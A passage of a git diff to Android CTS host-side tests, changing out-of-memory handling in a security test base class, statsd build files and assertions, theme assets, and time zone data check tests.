                     - kernelStartTime < 2));
         //TODO(badash@): add ability to catch runtime restart
         getDevice().disableAdbRoot();
+
+        // pass, fail, or log based on the oom behavior
+        synchronized (this) { // synchronized for oomDetected and oomBehavior
+            if (oomDetected) {
+                switch (oomBehavior) {
+                    case FAIL_AND_LOG:
+                        fail("The device ran out of memory.");
+                        return;
+                    case PASS_AND_LOG:
+                        Log.logAndDisplay(Log.LogLevel.INFO, LOG_TAG, "Skipping test.");
+                        return;
+                    case FAIL_NO_LOG:
+                        fail();
+                        return;
+                }
+            }
+        }
     }
 
     public void assertMatches(String pattern, String input) throws Exception {
         assertTrue("Pattern not found", Pattern.matches(pattern, input));
     }
 
+    public void assertMatchesMultiLine(String pattern, String input) throws Exception {
+        assertTrue("Pattern not found: " + pattern,
+                    Pattern.compile(pattern).matcher(input).find());
+    }
+
     public void assertNotMatches(String pattern, String input) throws Exception {
         assertFalse("Pattern found", Pattern.matches(pattern, input));
     }
 
     public void assertNotMatchesMultiLine(String pattern, String input) throws Exception {
-       assertFalse("Pattern found",
-                   Pattern.compile(pattern,
-                   Pattern.DOTALL).matcher(input).matches());
+        assertFalse("Pattern found: " + pattern,
+                    Pattern.compile(pattern).matcher(input).find());
     }
 
-    class OomChecker implements Runnable {
+    // Flag meaning the test will likely fail on devices with low memory.
+    public void setHighMemoryTest() {
+        synchronized (this) { // synchronized for oomBehavior
+            if (isLowMemoryDevice) {
+                oomBehavior = OomBehavior.PASS_AND_LOG;
+            } else {
+                oomBehavior = OomBehavior.FAIL_AND_LOG;
+            }
+        }
+    }
+
+    // Flag meaning the test uses the OOM catcher to fail the test because the test vulnerability
+    // intentionally OOMs the device.
+    public void setOomTest() {
+        synchronized (this) { // synchronized for oomBehavior
+            oomBehavior = OomBehavior.FAIL_NO_LOG;
+        }
+    }
+
+    class OomCatcher extends Thread {
 
         @Override
         public void run() {
@@ -130,7 +219,11 @@
                         if (Pattern.matches(".*lowmemorykiller.*", line)) {
                             // low memory detected, reboot device to clear memory and pass test
                             isCancelled = true;
-                            Log.i(LOG_TAG, "lowmemorykiller detected; rebooting device and passing test");
+                            Log.logAndDisplay(Log.LogLevel.INFO, LOG_TAG,
+                                    "lowmemorykiller detected; rebooting device.");
+                            synchronized (SecurityTestCase.this) { // synchronized for oomDetected
+                                oomDetected = true;
+                            }
                             try {
                                 getDevice().rebootUntilOnline();
                                 updateKernelStartTime();
diff --git a/hostsidetests/statsd/Android.mk b/hostsidetests/statsd/Android.mk
index b614cb1..0be6af6 100644
--- a/hostsidetests/statsd/Android.mk
+++ b/hostsidetests/statsd/Android.mk
@@ -24,9 +24,7 @@
 
 LOCAL_MODULE := CtsStatsdHostTestCases
 
-LOCAL_PROTOC_OPTIMIZE_TYPE := full
-LOCAL_STATIC_JAVA_LIBRARIES := platformprotos
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util host-libprotobuf-java-full
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util host-libprotobuf-java-full platformprotos
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/statsd/apps/statsdapp/Android.mk b/hostsidetests/statsd/apps/statsdapp/Android.mk
index 4de17bb..71d9323 100644
--- a/hostsidetests/statsd/apps/statsdapp/Android.mk
+++ b/hostsidetests/statsd/apps/statsdapp/Android.mk
@@ -27,7 +27,7 @@
 LOCAL_SRC_FILES := \
     $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit org.apache.http.legacy
+LOCAL_JAVA_LIBRARIES := android.test.runner.stubs junit org.apache.http.legacy
 
 LOCAL_PRIVILEGED_MODULE := true
 
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundActivity.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundActivity.java
index 615bbc0..ad72959 100644
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundActivity.java
+++ b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundActivity.java
@@ -121,6 +121,7 @@
         finish();
     }
 
+    @SuppressWarnings("ConstantOverflow")
     private void doCrash() {
         Log.e(TAG, "About to crash the app with 1/0 " + (long)1/0);
     }
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
index 331872d..5de5df9 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
@@ -239,8 +239,8 @@
         for (Atom atom : atomList) {
             if (atom.getCpuTimePerUid().getUid() == uid) {
                 found = true;
-                assertTrue(atom.getCpuTimePerUid().getUserTimeMillis() > 0);
-                assertTrue(atom.getCpuTimePerUid().getSysTimeMillis() > 0);
+                assertTrue(atom.getCpuTimePerUid().getUserTimeMicros() > 0);
+                assertTrue(atom.getCpuTimePerUid().getSysTimeMicros() > 0);
             }
         }
         assertTrue("found uid " + uid, found);
diff --git a/hostsidetests/sustainedperf/shadertoy_android/Android.mk b/hostsidetests/sustainedperf/shadertoy_android/Android.mk
index 2e1bbdd..190ce5d 100644
--- a/hostsidetests/sustainedperf/shadertoy_android/Android.mk
+++ b/hostsidetests/sustainedperf/shadertoy_android/Android.mk
@@ -31,6 +31,7 @@
 LOCAL_PACKAGE_NAME := CtsSustainedPerformanceTestCases
 
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 5
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/hostsidetests/sustainedperf/shadertoy_android/jni/Application.mk b/hostsidetests/sustainedperf/shadertoy_android/jni/Application.mk
index 433f6cf..7c4304a 100644
--- a/hostsidetests/sustainedperf/shadertoy_android/jni/Application.mk
+++ b/hostsidetests/sustainedperf/shadertoy_android/jni/Application.mk
@@ -17,7 +17,5 @@
 APP_ABI := armeabi-v7a
 APP_PLATFORM := android-22
 
-#  Enable C++11. However, pthread, rtti and exceptions aren’t enabled
-APP_CPPFLAGS += -std=c++11
 APP_STL := gnustl_static
 LOCAL_C_INCLUDES += ${ANDROID_NDK}/sources/cxx-stl/gnu-libstdc++/4.8/include
diff --git a/hostsidetests/theme/app/Android.mk b/hostsidetests/theme/app/Android.mk
index de63355..c2cc382 100644
--- a/hostsidetests/theme/app/Android.mk
+++ b/hostsidetests/theme/app/Android.mk
@@ -39,5 +39,6 @@
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := 23
+#LOCAL_MIN_SDK_VERSION := 17
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/theme/assets/Q/260dpi.zip b/hostsidetests/theme/assets/Q/260dpi.zip
new file mode 100644
index 0000000..68423a4
--- /dev/null
+++ b/hostsidetests/theme/assets/Q/260dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Q/280dpi.zip b/hostsidetests/theme/assets/Q/280dpi.zip
new file mode 100644
index 0000000..9a09eb4
--- /dev/null
+++ b/hostsidetests/theme/assets/Q/280dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Q/300dpi.zip b/hostsidetests/theme/assets/Q/300dpi.zip
new file mode 100644
index 0000000..35390b9
--- /dev/null
+++ b/hostsidetests/theme/assets/Q/300dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Q/340dpi.zip b/hostsidetests/theme/assets/Q/340dpi.zip
new file mode 100644
index 0000000..a65cc9f
--- /dev/null
+++ b/hostsidetests/theme/assets/Q/340dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Q/360dpi.zip b/hostsidetests/theme/assets/Q/360dpi.zip
new file mode 100644
index 0000000..a7be2b6
--- /dev/null
+++ b/hostsidetests/theme/assets/Q/360dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Q/400dpi.zip b/hostsidetests/theme/assets/Q/400dpi.zip
new file mode 100644
index 0000000..f8e62bb
--- /dev/null
+++ b/hostsidetests/theme/assets/Q/400dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Q/420dpi.zip b/hostsidetests/theme/assets/Q/420dpi.zip
new file mode 100644
index 0000000..3d70848
--- /dev/null
+++ b/hostsidetests/theme/assets/Q/420dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Q/560dpi.zip b/hostsidetests/theme/assets/Q/560dpi.zip
new file mode 100644
index 0000000..e1527ed
--- /dev/null
+++ b/hostsidetests/theme/assets/Q/560dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Q/hdpi.zip b/hostsidetests/theme/assets/Q/hdpi.zip
new file mode 100644
index 0000000..59c6efc
--- /dev/null
+++ b/hostsidetests/theme/assets/Q/hdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Q/ldpi.zip b/hostsidetests/theme/assets/Q/ldpi.zip
new file mode 100644
index 0000000..8e408af
--- /dev/null
+++ b/hostsidetests/theme/assets/Q/ldpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Q/mdpi.zip b/hostsidetests/theme/assets/Q/mdpi.zip
new file mode 100644
index 0000000..9aebe9d
--- /dev/null
+++ b/hostsidetests/theme/assets/Q/mdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Q/tvdpi.zip b/hostsidetests/theme/assets/Q/tvdpi.zip
new file mode 100644
index 0000000..55525fb
--- /dev/null
+++ b/hostsidetests/theme/assets/Q/tvdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Q/xhdpi.zip b/hostsidetests/theme/assets/Q/xhdpi.zip
new file mode 100644
index 0000000..3fecabe
--- /dev/null
+++ b/hostsidetests/theme/assets/Q/xhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Q/xxhdpi.zip b/hostsidetests/theme/assets/Q/xxhdpi.zip
new file mode 100644
index 0000000..14d7680
--- /dev/null
+++ b/hostsidetests/theme/assets/Q/xxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Q/xxxhdpi.zip b/hostsidetests/theme/assets/Q/xxxhdpi.zip
new file mode 100644
index 0000000..aa8d087
--- /dev/null
+++ b/hostsidetests/theme/assets/Q/xxxhdpi.zip
Binary files differ
diff --git a/hostsidetests/tzdata/Android.mk b/hostsidetests/tzdata/Android.mk
index e6e31fb..f5bd2f1 100644
--- a/hostsidetests/tzdata/Android.mk
+++ b/hostsidetests/tzdata/Android.mk
@@ -23,7 +23,7 @@
 
 LOCAL_JAVA_LIBRARIES := tradefed
 
-LOCAL_STATIC_JAVA_LIBRARIES := tzdata-testing time_zone_distro time_zone_distro_tools
+LOCAL_STATIC_JAVA_LIBRARIES := tzdata-testing time_zone_distro time_zone_distro_builder
 
 LOCAL_CTS_TEST_PACKAGE := android.host.tzdata
 
diff --git a/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java b/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java
index 2e9707c..b2c65d5 100644
--- a/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java
+++ b/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java
@@ -16,11 +16,16 @@
 
 package com.android.cts.tzdata;
 
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.testtype.DeviceTestCase;
+import static org.junit.Assert.assertArrayEquals;
+
+import libcore.timezone.TzDataSetVersion;
+import libcore.timezone.testing.ZoneInfoTestHelper;
+
 import com.android.timezone.distro.DistroVersion;
 import com.android.timezone.distro.TimeZoneDistro;
-import com.android.timezone.distro.tools.TimeZoneDistroBuilder;
+import com.android.timezone.distro.builder.TimeZoneDistroBuilder;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.DeviceTestCase;
 
 import java.io.File;
 import java.io.FileOutputStream;
@@ -31,9 +36,6 @@
 import java.util.Comparator;
 import java.util.StringJoiner;
 import java.util.function.Consumer;
-import libcore.tzdata.testing.ZoneInfoTestHelper;
-
-import static org.junit.Assert.assertArrayEquals;
 
 /**
  * Tests for the tzdatacheck binary.
@@ -56,15 +58,15 @@
 
     /**
      * The name of the directory containing the current time zone rules data beneath
-     * {@link #mDataDir}.  Also known to {@link com.android.timezone.distro.installer.TimeZoneDistroInstaller} and
-     * tzdatacheck.cpp.
+     * {@link #mDataDir}.  Also known to {@link
+     * com.android.timezone.distro.installer.TimeZoneDistroInstaller} and tzdatacheck.cpp.
      */
     private static final String CURRENT_DIR_NAME = "current";
 
     /**
      * The name of the directory containing the staged time zone rules data beneath
-     * {@link #mDataDir}.  Also known to {@link com.android.timezone.distro.installer.TimeZoneDistroInstaller} and
-     * tzdatacheck.cpp.
+     * {@link #mDataDir}.  Also known to {@link
+     * com.android.timezone.distro.installer.TimeZoneDistroInstaller} and tzdatacheck.cpp.
      */
     private static final String STAGED_DIR_NAME = "staged";
 
@@ -76,10 +78,9 @@
     private static final String UNINSTALL_TOMBSTONE_FILE_NAME = "STAGED_UNINSTALL_TOMBSTONE";
 
     /**
-     * The name of the /system time zone data file. Also known to
-     * {@link com.android.timezone.distro.installer.TimeZoneDistroInstaller} and tzdatacheck.cpp.
+     * The name of the /system time zone data file. Also known to tzdatacheck.cpp.
      */
-    private static final String SYSTEM_TZDATA_FILE_NAME = "tzdata";
+    private static final String SYSTEM_TZ_VERSION_FILE_NAME = "tz_version";
 
     /** A valid time zone rules version guaranteed to be older than {@link #RULES_VERSION_TWO} */
     private static final String RULES_VERSION_ONE = "2016g";
@@ -135,6 +136,17 @@
         super.tearDown();
     }
 
+    /**
+     * Test the real base files exist in the expected locations - tzcdatacheck relies on some of
+     * them via a command line argument hardcoded in system/core/rootdir/init.rc.
+     */
+    public void testExpectedBaseFilesExist() throws Exception {
+        String baseTzFilesDir = "/apex/com.android.runtime/etc/tz/";
+        assertDeviceFileExists(baseTzFilesDir + "tz_version");
+        assertDeviceFileExists(baseTzFilesDir + "tzdata");
+        assertDeviceFileExists(baseTzFilesDir + "tzlookup.xml");
+    }
+
     public void testTooFewArgs() throws Exception {
         // No need to set up or push files to the device for this test.
         assertEquals(1, runTzDataCheckWithArgs(new String[0]));
@@ -144,7 +156,7 @@
     // {dataDir}/staged exists but it is a file.
     public void testStaging_stagingDirIsFile() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Set up the /data directory structure on host.
         PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
@@ -167,7 +179,7 @@
     // {dataDir}/staged exists but /current dir is a file.
     public void testStaging_uninstall_currentDirIsFile() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Set up the /data directory structure on host.
 
@@ -193,7 +205,7 @@
     // {dataDir}/staged contains an uninstall, but there is nothing to uninstall.
     public void testStaging_uninstall_noCurrent() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
 
@@ -218,7 +230,7 @@
     // {dataDir}/staged contains an uninstall, and there is something to uninstall.
     public void testStaging_uninstall_withCurrent() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Set up the /data directory structure on host.
 
@@ -246,7 +258,7 @@
     // {dataDir}/staged exists but /current dir is a file.
     public void testStaging_install_currentDirIsFile() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Set up the /data directory structure on host.
 
@@ -274,7 +286,7 @@
     // {dataDir}/staged contains an install, but there is nothing to replace.
     public void testStaging_install_noCurrent() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
 
@@ -300,12 +312,12 @@
     // {dataDir}/staged contains an install, and there is something to replace.
     public void testStaging_install_withCurrent() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         DistroVersion currentDistroVersion = new DistroVersion(
-                DistroVersion.CURRENT_FORMAT_MAJOR_VERSION, 1, VALID_RULES_VERSION, 1);
+                TzDataSetVersion.currentFormatMajorVersion(), 1, VALID_RULES_VERSION, 1);
         DistroVersion stagedDistroVersion = new DistroVersion(
-                DistroVersion.CURRENT_FORMAT_MAJOR_VERSION, 1, VALID_RULES_VERSION, 2);
+                TzDataSetVersion.currentFormatMajorVersion(), 1, VALID_RULES_VERSION, 2);
 
         // Set up the /data directory structure on host.
 
@@ -341,11 +353,11 @@
     // an invalid distro is handled the same.
     public void testStaging_install_withCurrent_invalidStaged() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Set up the /data directory structure on host.
 
-        // Create a staged uninstall which contains invalid.
+        // Create a staged uninstall which contains invalid files (missing distro version).
         PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
         byte[] stagedDistroBytes = createValidDistroBuilder()
                 .clearVersionForTests()
@@ -372,7 +384,7 @@
     // No {dataDir}/current exists.
     public void testNoCurrentDataDir() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Deliberately not creating anything on host in the data dir here, leaving the empty
         // structure.
@@ -387,7 +399,7 @@
     // {dataDir}/current exists but it is a file.
     public void testCurrentDataDirIsFile() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
@@ -409,7 +421,7 @@
     // {dataDir}/current exists but is missing the distro version file.
     public void testMissingDataDirDistroVersionFile() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
@@ -431,7 +443,7 @@
     // {dataDir}/current exists but the distro version file is short.
     public void testShortDataDirDistroVersionFile() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
@@ -455,7 +467,7 @@
     // {dataDir}/current exists and the distro version file is long enough, but contains junk.
     public void testCorruptDistroVersionFile() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
@@ -483,12 +495,12 @@
     // {dataDir}/current exists but the distro version is incorrect.
     public void testInvalidMajorDistroVersion_older() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
         DistroVersion oldMajorDistroVersion = new DistroVersion(
-                DistroVersion.CURRENT_FORMAT_MAJOR_VERSION - 1, 1, VALID_RULES_VERSION, 1);
+                TzDataSetVersion.currentFormatMajorVersion() - 1, 1, VALID_RULES_VERSION, 1);
         byte[] distroBytes = createValidDistroBuilder()
                 .setDistroVersion(oldMajorDistroVersion)
                 .buildBytes();
@@ -507,13 +519,13 @@
     // {dataDir}/current exists but the distro version is incorrect.
     public void testInvalidMajorDistroVersion_newer() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
         DistroVersion newMajorDistroVersion = new DistroVersion(
-                DistroVersion.CURRENT_FORMAT_MAJOR_VERSION + 1,
-                DistroVersion.CURRENT_FORMAT_MINOR_VERSION,
+                TzDataSetVersion.currentFormatMajorVersion() + 1,
+                TzDataSetVersion.currentFormatMinorVersion(),
                 VALID_RULES_VERSION, VALID_REVISION);
         byte[] distroBytes = createValidDistroBuilder()
                 .setDistroVersion(newMajorDistroVersion)
@@ -533,13 +545,13 @@
     // {dataDir}/current exists but the distro version is incorrect.
     public void testInvalidMinorDistroVersion_older() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
         DistroVersion oldMinorDistroVersion = new DistroVersion(
-                DistroVersion.CURRENT_FORMAT_MAJOR_VERSION,
-                DistroVersion.CURRENT_FORMAT_MINOR_VERSION - 1,
+                TzDataSetVersion.currentFormatMajorVersion(),
+                TzDataSetVersion.currentFormatMinorVersion() - 1,
                 VALID_RULES_VERSION, 1);
         byte[] distroBytes = createValidDistroBuilder()
                 .setDistroVersion(oldMinorDistroVersion)
@@ -560,13 +572,13 @@
     // be backwards compatible).
     public void testValidMinorDistroVersion_newer() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
         DistroVersion newMajorDistroVersion = new DistroVersion(
-                DistroVersion.CURRENT_FORMAT_MAJOR_VERSION,
-                DistroVersion.CURRENT_FORMAT_MINOR_VERSION + 1,
+                TzDataSetVersion.currentFormatMajorVersion(),
+                TzDataSetVersion.currentFormatMinorVersion() + 1,
                 VALID_RULES_VERSION, VALID_REVISION);
         byte[] distroBytes = createValidDistroBuilder()
                 .setDistroVersion(newMajorDistroVersion)
@@ -583,8 +595,8 @@
         assertDeviceDirContainsDistro(dataCurrentDir, distroBytes);
     }
 
-    // {dataDir}/current is valid but the tzdata file in /system is missing.
-    public void testSystemTzDataFileMissing() throws Exception {
+    // {dataDir}/current is valid but the tz_version file in /system is missing.
+    public void testSystemTzVersionFileMissing() throws Exception {
         // Deliberately not writing anything in /system here.
 
         // Set up the /data directory structure on host.
@@ -602,11 +614,11 @@
         assertDeviceDirContainsDistro(dataCurrentDir, validDistroBytes);
     }
 
-    // {dataDir}/current is valid but the tzdata file in /system has an invalid header.
-    public void testSystemTzDataFileCorrupt() throws Exception {
+    // {dataDir}/current is valid but the tz_version file in /system is junk.
+    public void testSystemTzVersionFileCorrupt() throws Exception {
         // Set up the /system directory structure on host.
         byte[] invalidTzDataBytes = new byte[20];
-        Files.write(mSystemDir.hostPath.resolve(SYSTEM_TZDATA_FILE_NAME), invalidTzDataBytes);
+        Files.write(mSystemDir.hostPath.resolve(SYSTEM_TZ_VERSION_FILE_NAME), invalidTzDataBytes);
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
@@ -623,18 +635,18 @@
         assertDeviceDirContainsDistro(dataCurrentDir, validDistroBytes);
     }
 
-    // {dataDir}/current is valid and the tzdata file in /system is older.
+    // {dataDir}/current is valid and the tz_version file in /system is for older data.
     public void testSystemTzRulesOlder() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(RULES_VERSION_ONE);
+        createSystemTzVersionFileOnHost(RULES_VERSION_ONE);
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
         // Newer than RULES_VERSION_ONE in /system
         final String distroRulesVersion = RULES_VERSION_TWO;
         DistroVersion distroVersion = new DistroVersion(
-                DistroVersion.CURRENT_FORMAT_MAJOR_VERSION,
-                DistroVersion.CURRENT_FORMAT_MINOR_VERSION, distroRulesVersion, VALID_REVISION);
+                TzDataSetVersion.currentFormatMajorVersion(),
+                TzDataSetVersion.currentFormatMinorVersion(), distroRulesVersion, VALID_REVISION);
         byte[] distroBytes = createValidDistroBuilder()
                 .setDistroVersion(distroVersion)
                 .setTzDataFile(createValidTzDataBytes(distroRulesVersion))
@@ -651,17 +663,20 @@
         assertDeviceDirContainsDistro(dataCurrentDir, distroBytes);
     }
 
-    // {dataDir}/current is valid and the tzdata file in /system is the same (and should be kept).
-    public void testSystemTzDataSame() throws Exception {
+    // {dataDir}/current is valid and the tz_version file in /system is the same. Data dir should be
+    // kept.
+    public void testSystemTzVersionSame() throws Exception {
         // Set up the /system directory structure on host.
         final String systemRulesVersion = VALID_RULES_VERSION;
-        createSystemTzDataFileOnHost(systemRulesVersion);
+        createSystemTzVersionFileOnHost(systemRulesVersion);
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
         DistroVersion distroVersion = new DistroVersion(
-                DistroVersion.CURRENT_FORMAT_MAJOR_VERSION,
-                DistroVersion.CURRENT_FORMAT_MINOR_VERSION, systemRulesVersion, VALID_REVISION);
+                TzDataSetVersion.currentFormatMajorVersion(),
+                TzDataSetVersion.currentFormatMinorVersion(),
+                systemRulesVersion,
+                VALID_REVISION);
         byte[] distroBytes = createValidDistroBuilder()
                 .setDistroVersion(distroVersion)
                 .setTzDataFile(createValidTzDataBytes(systemRulesVersion))
@@ -679,17 +694,17 @@
     }
 
     // {dataDir}/current is valid and the tzdata file in /system is the newer.
-    public void testSystemTzDataNewer() throws Exception {
+    public void testSystemTzVersionNewer() throws Exception {
         // Set up the /system directory structure on host.
         String systemRulesVersion = RULES_VERSION_TWO;
-        createSystemTzDataFileOnHost(systemRulesVersion);
+        createSystemTzVersionFileOnHost(systemRulesVersion);
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
         String distroRulesVersion = RULES_VERSION_ONE; // Older than the system version.
         DistroVersion distroVersion = new DistroVersion(
-                DistroVersion.CURRENT_FORMAT_MAJOR_VERSION,
-                DistroVersion.CURRENT_FORMAT_MINOR_VERSION,
+                TzDataSetVersion.currentFormatMajorVersion(),
+                TzDataSetVersion.currentFormatMinorVersion(),
                 distroRulesVersion,
                 VALID_REVISION);
         byte[] distroBytes = createValidDistroBuilder()
@@ -709,9 +724,9 @@
         assertDevicePathDoesNotExist(dataCurrentDir);
     }
 
-    private void createSystemTzDataFileOnHost(String systemRulesVersion) throws IOException {
-        byte[] systemTzData = createValidTzDataBytes(systemRulesVersion);
-        Files.write(mSystemDir.hostPath.resolve(SYSTEM_TZDATA_FILE_NAME), systemTzData);
+    private void createSystemTzVersionFileOnHost(String systemRulesVersion) throws Exception {
+        byte[] systemTzData = createValidTzVersionBytes(systemRulesVersion);
+        Files.write(mSystemDir.hostPath.resolve(SYSTEM_TZ_VERSION_FILE_NAME), systemTzData);
     }
 
     private static void createStagedUninstallOnHost(PathPair stagedDir) throws Exception {
@@ -731,8 +746,8 @@
         String distroRulesVersion = VALID_RULES_VERSION;
         DistroVersion validDistroVersion =
                 new DistroVersion(
-                        DistroVersion.CURRENT_FORMAT_MAJOR_VERSION,
-                        DistroVersion.CURRENT_FORMAT_MINOR_VERSION,
+                        TzDataSetVersion.currentFormatMajorVersion(),
+                        TzDataSetVersion.currentFormatMinorVersion(),
                         distroRulesVersion, VALID_REVISION);
         return new TimeZoneDistroBuilder()
                 .setDistroVersion(validDistroVersion)
@@ -747,6 +762,15 @@
                 .build();
     }
 
+    private static byte[] createValidTzVersionBytes(String rulesVersion) throws Exception {
+        return new TzDataSetVersion(
+                TzDataSetVersion.currentFormatMajorVersion(),
+                TzDataSetVersion.currentFormatMinorVersion(),
+                rulesVersion,
+                VALID_REVISION)
+                .toBytes();
+    }
+
     private int runTzDataCheckOnDevice() throws Exception {
         return runTzDataCheckWithArgs(new String[] { mSystemDir.devicePath, mDataDir.devicePath });
     }
@@ -906,8 +930,12 @@
         }
     }
 
+    private void assertDeviceFileExists(String s) throws DeviceNotAvailableException {
+        assertTrue(getDevice().doesFileExist(s));
+    }
+
     private void assertDevicePathExists(PathPair path) throws DeviceNotAvailableException {
-        assertTrue(getDevice().doesFileExist(path.devicePath));
+        assertDeviceFileExists(path.devicePath);
     }
 
     private void assertDeviceDirContainsDistro(PathPair distroPath, byte[] expectedDistroBytes)
diff --git a/hostsidetests/usb/SerialTestApp/Android.mk b/hostsidetests/usb/SerialTestApp/Android.mk
index 601c0ba..4baa577 100644
